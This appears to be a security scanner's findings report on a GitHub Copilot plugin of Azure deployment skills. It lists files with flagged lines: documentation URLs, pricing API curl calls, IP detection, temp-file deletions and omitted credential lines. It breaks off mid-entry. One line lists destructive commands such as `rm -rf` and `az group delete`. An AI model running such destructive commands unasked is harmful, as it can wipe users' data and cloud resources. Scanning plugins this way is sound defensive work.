host_address="http://localhost:8080", - Network accessline 205
from durabletask.azuremanaged.client import DurableTaskSchedulerClient client = DurableTaskSchedulerClient( host_address="http://localhost:8080", - Network accessline 206
client = DurableTaskSchedulerClient( host_address="http://localhost:8080", taskhub="default", - Network accessline 207
host_address="http://localhost:8080",
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/bicep.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/subscriptions.md
- Network accessline 11
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 12
properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' } - Network accessline 13
endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 36
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/events' - Network accessline 37
properties: { endpointUrl: 'https://my-api.example.com/events' } - Network accessline 38
endpointUrl: 'https://my-api.example.com/events'
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/foundry/region-availability.md
- Network accessline 15
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/README.md
- Network accessline 65
> Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 66
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 67
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/bicep.md
- Network accessline 86
runtime: { name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages - Network accessline 87
name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages } - Network accessline 88
version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/README.md
- Network accessline 112
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 115
> ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 116
> 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 127
| `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w - Network accessline 128
| `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` | - Network accessline 129
| `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | - Network accessline 139
GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip - Network accessline 146
1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1 - Network accessline 147
2. Filter tree entries where path starts with {folderPath}/ 3. For each file: GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 149
GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 181
**Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md
- Network accessline 28
See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/composition.md
- Network accessline 47
1. FETCH MANIFEST GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 48
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json If both fail → - Network accessline 49
If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json - Network accessline 224
> ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 225
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 226
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md
- Network accessline 27
See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md
- Network accessline 34
The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md
- Network accessline 21
See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md
- Network accessline 17
See [MCP Specification](https://modelcontextprotocol.io/) for protocol details. - Network accessline 31
See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md
- Network accessline 26
See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md
- Network accessline 45
See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md
- Network accessline 22
> Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/terraform.md
- Network accessline 173
> 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/README.md
- Network accessline 39
| Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | - Network accessline 40
|----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name | - Network accessline 41
| `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/sdk.md
- Access to secretsline 29
[Credential-related source omitted] - Network accessline 59
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' - Network accessline 60
properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' } - Network accessline 61
endpointUrl: 'https://my-api.example.com/secret-rotation'
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/bicep.md
- Network accessline 10
state: 'Enabled' definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' - Network accessline 11
definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' contentVersion: '1.0.0.0' - Network accessline 12
'$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/triggers.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/service-bus/patterns.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1
- Executable scriptline 1
Executable file - Network accessline 78
if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) { Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." - Network accessline 79
Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." exit 1 - Network accessline 80
Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 85
if ! command -v sqlcmd >/dev/null 2>&1; then echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 - Network accessline 86
echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 exit 1 - Network accessline 87
echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/sdk.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/deployment.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/routing.md
- Network accessline 41
"azureActiveDirectory": { "registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Network accessline 42
"registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", "clientIdSettingName": "AAD_CLIENT_ID", - Network accessline 43
"openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Access to secretsline 45
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/storage/access.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/README.md
- Network accessline 59
- Terraform: see https://developer.hashicorp.com/terraform/install
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/errors.md
- Network accessline 28
site_config { cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 29
cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] } - Network accessline 30
allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 36
resource "azurerm_linux_web_app" "frontend" { app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 37
app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" } - Network accessline 38
API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 64
> ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1
- Executable scriptline 1
Executable file - Network accessline 50
Add-Result "Terraform installed" "PASS" } else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
} else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" } - Network accessline 52
Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 50
record "Terraform installed" "PASS" else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi - Network accessline 52
record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Dangerous shell operationline 102
rm -f "$tmp"
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 53
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md
- Network accessline 73
Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month
harness/github-copilot/plugins/azure-cloud-development/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/retail-prices-api.md
- Network accessline 3
The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed. - Network accessline 8
https://prices.azure.com/api/retail/prices - Network accessline 13
https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 23
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption' - Network accessline 27
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'" - Network accessline 31
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 32
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 39
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption' - Network accessline 43
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'" - Network accessline 47
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 48
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 55
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation' - Network accessline 59
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'" - Network accessline 63
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 64
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 72
GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' - Network accessline 76
curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'" - Network accessline 80
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 81
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 119
{ "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vm-families.md
- Network accessline 5
> **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vm-quotas.md
- Network accessline 91
- Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu - Network accessline 93
- [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vmss-guide.md
- Network accessline 5
> **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi - Network accessline 6
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview - Network accessline 7
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 8
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison - Network accessline 62
- Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a - Network accessline 64
- Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 92
- [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes) - Network accessline 93
- [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 94
- [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking) - Network accessline 95
- [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md
- Network accessline 61
Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us - Network accessline 104
- [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm) - Network accessline 105
- [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm) - Network accessline 106
- [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md
- Network accessline 51
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview - Network accessline 81
For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot) - Network accessline 82
- [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md
- Network accessline 33
az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv - Network accessline 39
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}') - Network accessline 47
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01 - Network accessline 76
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep
- Access to secretsline 139
[Credential-related source omitted]
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 14
MY_IP=$(curl -s ifconfig.me)/32 # your current public IP, locked to /32 - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted]
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md
- Network accessline 7
1. **Repo** — accept any of: - `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 8
- `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Local checkout path (e.g., `~/source/azure-infra`) — skips clone - Network accessline 9
- Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 76
> ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md
- Access to secretsline 47
[Credential-related source omitted]
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 14
- **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` - Network accessline 15
- **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, - Network accessline 16
- **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md
- Network accessline 7
| VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o - Network accessline 8
